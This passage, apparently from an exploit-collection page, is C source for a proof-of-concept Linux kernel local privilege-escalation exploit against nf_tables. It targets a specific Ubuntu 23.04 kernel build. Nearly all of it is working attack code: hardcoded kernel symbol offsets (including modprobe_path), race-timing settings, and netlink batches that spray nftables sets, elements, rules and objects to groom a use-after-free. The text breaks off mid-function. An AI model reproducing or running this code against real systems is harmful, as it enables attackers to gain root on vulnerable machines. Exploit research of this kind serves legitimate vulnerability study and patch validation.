4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_c.bin BIN
/****************************************************************************
 *
 * Please read EXPLOIT.md carefully before using.
 *
 */


#define _GNU_SOURCE

#include <pthread.h>
#include <setjmp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>

#include <net/if.h>
#include <netinet/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>

#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/object.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/table.h>


uint64_t cfg_race_set_slab = 1;
uint64_t cfg_race_set_elem_count = 0x300 * 0x800;

useconds_t cfg_initial_usleep = 4 * 1000 * 1000;
useconds_t cfg_race_lead_usleep = 100 * 1000;
useconds_t cfg_race_lag_usleep = 600 * 1000;
useconds_t cfg_reuse_usleep = 100 * 1000;


/*
 * Specific to the Linux kernel distributed in binary form as the following
 * packages from Ubuntu 23.04 (Lunar Lobster):
 *   * "linux-image-6.2.0-20-generic", version "6.2.0-20.20", and
 *   * "linux-modules-6.2.0-20-generic", version "6.2.0-20.20".
 */

uint64_t cfg_free_percpu = 0xffffffffa419d240 - 0xffffffffa3e00000;
uint64_t cfg_modprobe_path = 0xffffffffa688b900 - 0xffffffffa3e00000;
uint64_t cfg_nft_counter_destroy = 0xffffffffc06a3700 - 0xffffffffc0680000;
uint64_t cfg_nft_counter_ops = 0xffffffffc06b47a0 - 0xffffffffc0680000;

/*
0000000000023700 <nft_counter_destroy>:
   23700:       e8 00 00 00 00          call   <__fentry__>
   23705:       55                      push   rbp
   23706:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   2370a:       48 89 e5                mov    rbp,rsp
   2370d:       e8 00 00 00 00          call   <free_percpu>
   23712:       5d                      pop    rbp
   23713:       31 f6                   xor    esi,esi
   23715:       31 ff                   xor    edi,edi
   23717:       e9 00 00 00 00          jmp    <__x86_return_thunk>
 */
uint64_t cfg_nft_counter_destroy_call_offset = (0x23712 - 0x23700) - 8;
uint64_t cfg_nft_counter_destroy_call_mask = 0xffffffff;
uint64_t cfg_nft_counter_destroy_call_check = 0xe8e58948;


#define uaf_chunk_size 0x80
#define mnl_batch_limit (1024 * 1024)


char mnl_batch_buffer[2 * mnl_batch_limit];


char uaf_set_key[8 + 0x34];
char log_prefix[0x100];


static void cfg_print()
{
    printf("\nUsing profile:\n========\n");

    printf("%-19ld race_set_slab                   # {0,1}\n", cfg_race_set_slab);
    printf("%-19ld race_set_elem_count             # k\n", cfg_race_set_elem_count / 1000);

    printf("%-19d initial_sleep                   # ms\n", cfg_initial_usleep / 1000);
    printf("%-19d race_lead_sleep                 # ms\n", cfg_race_lead_usleep / 1000);
    printf("%-19d race_lag_sleep                  # ms\n", cfg_race_lag_usleep / 1000);
    printf("%-19d reuse_sleep                     # ms\n", cfg_reuse_usleep / 1000);

    printf("%-19lx free_percpu                     # hex\n", cfg_free_percpu);
    printf("%-19lx modprobe_path                   # hex\n", cfg_modprobe_path);
    printf("%-19lx nft_counter_destroy             # hex\n", cfg_nft_counter_destroy);
    printf("%-19lx nft_counter_ops                 # hex\n", cfg_nft_counter_ops);

    printf("%-19lx nft_counter_destroy_call_offset # hex\n", cfg_nft_counter_destroy_call_offset);
    printf("%-19lx nft_counter_destroy_call_mask   # hex\n", cfg_nft_counter_destroy_call_mask);
    printf("%-19lx nft_counter_destroy_call_check  # hex\n", cfg_nft_counter_destroy_call_check);

    printf("========\n\n");
}


int cfg_load_line(char *line)
{
    char *saveptr = NULL;
    char *value = strtok_r(line, "\t ", &saveptr);
    if (value == NULL) {
        return EFAULT;
    }

    char *key = NULL;
    do {
        key = strtok_r(NULL, "\t\n ", &saveptr);
        if (key == NULL) {
            return EFAULT;
        }
    } while (strlen(key) < 2);

    errno = 0;

    if (strcmp(key, "race_set_slab") == 0) {
        cfg_race_set_slab = strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "race_set_elem_count") == 0) {
        cfg_race_set_elem_count = 1000L * strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "initial_sleep") == 0) {
        cfg_initial_usleep = 1000L * strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "race_lead_sleep") == 0) {
        cfg_race_lead_usleep = 1000L * strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "race_lag_sleep") == 0) {
        cfg_race_lag_usleep = 1000L * strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "reuse_sleep") == 0) {
        cfg_reuse_usleep = 1000L * strtoul(value, NULL, 0);
    }
    else if (strcmp(key, "free_percpu") == 0) {
        cfg_free_percpu = strtoul(value, NULL, 16);
    }
    else if (strcmp(key, "modprobe_path") == 0) {
        cfg_modprobe_path = strtoul(value, NULL, 16);
    }
    else if (strcmp(key, "nft_counter_destroy") == 0) {
        cfg_nft_counter_destroy = strtoul(value, NULL, 16);
    }
    else if (strcmp(key, "nft_counter_ops") == 0) {
        cfg_nft_counter_ops = strtoul(value, NULL, 16);
    }
    else if (strcmp(key, "nft_counter_destroy_call_offset") == 0) {
        cfg_nft_counter_destroy_call_offset = strtoul(value, NULL, 16);
    }
    else if (strcmp(key, "nft_counter_destroy_call_mask") == 0) {
        cfg_nft_counter_destroy_call_mask = strtoul(value, NULL, 16);
    }
    else if (strcmp(key, "nft_counter_destroy_call_check") == 0) {
        cfg_nft_counter_destroy_call_check = strtoul(value, NULL, 16);
    }
    else {
        errno = ENOENT;
    }

    return errno;
}


static void cfg_load(char *path)
{
    FILE *stream = fopen(path, "r");
    if (stream != NULL) {
        char *line = NULL;
        size_t len = 0;
        ssize_t nread;

        while ((nread = getline(&line, &len, stream)) != -1) {
            printf("[*] Profile line: %s", line);
            if (cfg_load_line(line) != 0) {
                printf("[!] ERROR\n");
            }
        }
        fclose(stream);
    }
}


void hex_dump(const char *data, ssize_t size)
{
    if (size <= 0) {
        printf("\n*** empty ***\n");
    }
    else {
        char hex_buf[0x40];
        char ascii_buf[0x20];
        ssize_t ix = 0;
        int pos = 0;

        do {
            unsigned char byte = data[ix];

            sprintf(hex_buf + 3 * pos, "%02x ", byte);
            ascii_buf[pos] = ((0x20 <= byte) && (byte < 0x7e))? byte: '.';

            ++ ix;
            ++ pos;
            if ((ix == size) || (pos == 0x10)) {
                ascii_buf[pos] = 0;
                printf("\n%04lx:  %-48s |  %s", ix - pos, hex_buf, ascii_buf);
                pos = 0;
            }
        } while (ix < size);
        printf("\n");
    }
}


void file_write(char *path, int flags, mode_t mode, char *content, size_t content_size)
{
    int res;

    int fd = open(path, flags, mode);
    if (fd == -1) {
        err(1, "Cannot into open()");
    }

    ssize_t size = write(fd, content, content_size);
    if (size != content_size) {
        err(1, "Cannot into write()");
    }

    res = close(fd);
    if (res != 0) {
        err(1, "Cannot into close()");
    }
}


static void append_del_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
    uint32_t family, char *table_name, char *set_name)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELSET,
        NFPROTO_INET,
        NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void append_new_obj(struct mnl_nlmsg_batch *batch, uint32_t seq,
    uint32_t family, char *table_name, char *obj_name,
    char *obj_userdata, uint32_t obj_userdata_len)
{
    struct nftnl_obj *obj = nftnl_obj_alloc();
    if (obj == NULL) {
        errx(1, "Cannot into nftnl_obj_alloc()");
    }

    nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family);
    nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
    nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
    nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
    if (obj_userdata) {
        nftnl_obj_set_data(obj, NFTNL_OBJ_USERDATA, obj_userdata, obj_userdata_len);
    }

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWOBJ,
        family,
        NLM_F_ACK,
        seq++
    );
    nftnl_obj_nlmsg_build_payload(nlh, obj);
    nftnl_obj_free(obj);
    mnl_nlmsg_batch_next(batch);
}


static void append_del_obj(struct mnl_nlmsg_batch *batch, uint32_t seq,
    uint32_t family, char *table_name, char *obj_name)
{
    struct nftnl_obj *obj = nftnl_obj_alloc();
    if (obj == NULL) {
        errx(1, "Cannot into nftnl_obj_alloc()");
    }

    nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family);
    nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
    nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
    nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELOBJ,
        family,
        NLM_F_ACK,
        seq++
    );
    nftnl_obj_nlmsg_build_payload(nlh, obj);
    nftnl_obj_free(obj);
    mnl_nlmsg_batch_next(batch);
}


static void append_del_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    uint32_t family, char *table_name, char *chain_name, uint64_t rule_handle)
{
    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);
    if (rule_handle != -1) {
        nftnl_rule_set_u64(rule, NFTNL_RULE_HANDLE, rule_handle);
    }

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELRULE,
        family,
        NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}


uint32_t pwn_family = NFPROTO_INET;
char *pwn_table = "testfirewall";

char *pwn_lookup_set = "set_A";
char *pwn_lookup_chain = "OUTPUT";

char *pwn_log_chain = "INPUT";

char *pwn_dynset_set = "set_dyn";
char *pwn_dynset_chain = "chain_dyn";


static void pwn_create_table(struct mnl_nlmsg_batch *batch, uint32_t seq)
{
    struct nftnl_table *table = nftnl_table_alloc();
    if (table == NULL) {
        errx(1, "Cannot into nftnl_table_alloc()");
    }

    nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, pwn_family);
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, pwn_table);

    struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWTABLE,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_table_free(table);
}


static void pwn_create_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *set_name, uint32_t set_id, uint32_t set_flags,
    uint32_t set_key_len, uint32_t set_desc_size,
    void *set_userdata, uint32_t set_userdata_len)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set, NFTNL_SET_ID, set_id);
    nftnl_set_set_u32(set, NFTNL_SET_FLAGS, set_flags);
    nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, set_key_len);
    if (set_desc_size != 0) {
        nftnl_set_set_u32(set, NFTNL_SET_DESC_SIZE, set_desc_size);
    }
    if (set_userdata != NULL) {
        nftnl_set_set_data(set, NFTNL_SET_USERDATA, set_userdata, set_userdata_len);
    }

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSET,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void pwn_create_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name)
{
    struct nftnl_chain *chain = nftnl_chain_alloc();
    if (chain == NULL) {
        errx(1, "Cannot into nftnl_chain_alloc()");
    }

    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);

    struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWCHAIN,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_chain_free(chain);
}


static void pwn_create_lookup_set_elem(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *set_name,
    void *set_elem_key, uint32_t set_elem_key_len)
{
    char set_elem_userdata[0x2f] = {};

    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);

    struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
    if (set_elem == NULL) {
        errx(1, "Cannot into nftnl_set_elem_alloc()");
    }

    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len);
    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata));

    nftnl_set_elem_add(set, set_elem);

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq
    );
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void pwn_create_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name, char *set_name)
{
    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);

    struct nftnl_expr *lookup = nftnl_expr_alloc("lookup");
    if (lookup == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set_name);
    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_FLAGS, 0);

    nftnl_rule_add_expr(rule, lookup);

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE,
        pwn_family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}


static void pwn_create_log_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name, char *log_prefix)
{
    char rule_userdata[0x2f] = {};

    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
    nftnl_rule_set_data(rule, NFTNL_RULE_USERDATA, rule_userdata, sizeof(rule_userdata));

    struct nftnl_expr *byteorder = nftnl_expr_alloc("byteorder");
    if (byteorder == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_OP, NFT_BYTEORDER_NTOH);
    nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SIZE, 8);
    nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SREG, NFT_REG_1);
    nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_DREG, NFT_REG_2);
    nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_LEN, 1);

    nftnl_rule_add_expr(rule, byteorder);

    struct nftnl_expr *log = nftnl_expr_alloc("log");
    if (log == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_u32(log, NFTNL_EXPR_LOG_LEVEL, NFT_LOGLEVEL_AUDIT);
    nftnl_expr_set_str(log, NFTNL_EXPR_LOG_PREFIX, log_prefix);

    nftnl_rule_add_expr(rule, log);

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE,
        pwn_family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}


static void pwn_create_dynset_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *set_name, uint32_t set_id)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set, NFTNL_SET_ID, set_id);
    nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_EVAL | NFT_SET_EXPR);
    nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 0x34);

    struct nftnl_expr *counter = nftnl_expr_alloc("counter");
    if (counter == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_set_add_expr(set, counter);

    struct nftnl_expr *quota = nftnl_expr_alloc("quota");
    if (quota == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff);

    nftnl_set_add_expr(set, quota);

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSET,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void pwn_create_dynset_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name)
{
    struct nftnl_chain *chain = nftnl_chain_alloc();
    if (chain == NULL) {
        errx(1, "Cannot into nftnl_chain_alloc()");
    }

    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter");
    nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
    nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 0);

    struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWCHAIN,
        pwn_family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_chain_free(chain);
}


static void pwn_create_dynset_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *chain_name, char *dynset_set_name)
{
    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);

    struct nftnl_expr *payload = nftnl_expr_alloc("payload");
    if (payload == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_INNER_HEADER);
    nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_OFFSET, 0);
    nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_LEN, 1);
    nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1);

    nftnl_rule_add_expr(rule, payload);

    struct nftnl_expr *dynset = nftnl_expr_alloc("dynset");
    if (dynset == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_str(dynset, NFTNL_EXPR_DYNSET_SET_NAME, dynset_set_name);
    nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_OP, htonl(NFT_DYNSET_OP_UPDATE));
    nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_FLAGS, NFT_DYNSET_F_EXPR);
    nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_SREG_KEY, NFT_REG_1);

    struct nftnl_expr *counter = nftnl_expr_alloc("counter");
    if (counter == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, counter);

    struct nftnl_expr *quota = nftnl_expr_alloc("quota");
    if (quota == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff);

    nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, quota);

    nftnl_rule_add_expr(rule, dynset);

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE,
        pwn_family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}


static void pwn_prepare(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_prepare\n");

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    pwn_create_table(batch, seq++);

    pwn_create_chain(batch, seq++, pwn_lookup_chain);

    pwn_create_chain(batch, seq++, pwn_log_chain);
    /* load "nft_log.ko" now to reduce noise when racing */
    pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix);

    pwn_create_dynset_set(batch, seq++, pwn_dynset_set, 0);
    pwn_create_dynset_chain(batch, seq++, pwn_dynset_chain);
    pwn_create_dynset_rule(batch, seq++, pwn_dynset_chain, pwn_dynset_set);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_uaf_spray(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_spray\n");

    memset(uaf_set_key, 0, sizeof(uaf_set_key));
    uaf_set_key[4] = 0x90;

    char set_userdata_buf[0x100] = {};

    char *set_userdata;
    uint32_t set_userdata_size;
    if (cfg_race_set_slab == 0) {
        set_userdata = NULL;
        set_userdata_size = 0;
    }
    else {
        set_userdata = set_userdata_buf;
        set_userdata_size = sizeof(set_userdata_buf);
    }

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for (int spray = - 0x50; spray < 10; ++ spray) {
        if (spray == 0) {
            pwn_create_set(batch, seq++, pwn_lookup_set, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size);
        }
        else {
            char *set_name;
            asprintf(&set_name, "spray_set_%04hx", spray);
            pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size);
        }
    }

    for (int spray = - 0x60; spray < 0x21; ++ spray) {
        if (spray == 0) {
            pwn_create_lookup_set_elem(batch, seq++, pwn_lookup_set, uaf_set_key, sizeof(uaf_set_key));
        }
        else {
            pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix);
        }
    }

    for (int spray = 1; spray < 10; ++ spray) {
        char *obj_name;
        asprintf(&obj_name, "spray_obj_%04hx", spray);
        char obj_userdata[uaf_chunk_size];
        memset(obj_userdata, 'B', sizeof(obj_userdata));
        append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata));
    }

    pwn_create_lookup_rule(batch, seq++, pwn_lookup_chain, pwn_lookup_set);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_delay_spray_set(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_delay_spray_set\n");

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    pwn_create_set(batch, seq++, "set_delay", 1, 0, sizeof(uint64_t), 0, NULL, 0);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_delay_spray_set_elem(struct mnl_socket *nl, uint64_t *set_elem_key, uint64_t set_elem_key_end)
{
    uint32_t portid, seq, table_seq;
    int ret;

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    struct nftnl_set *set = nftnl_set_alloc();
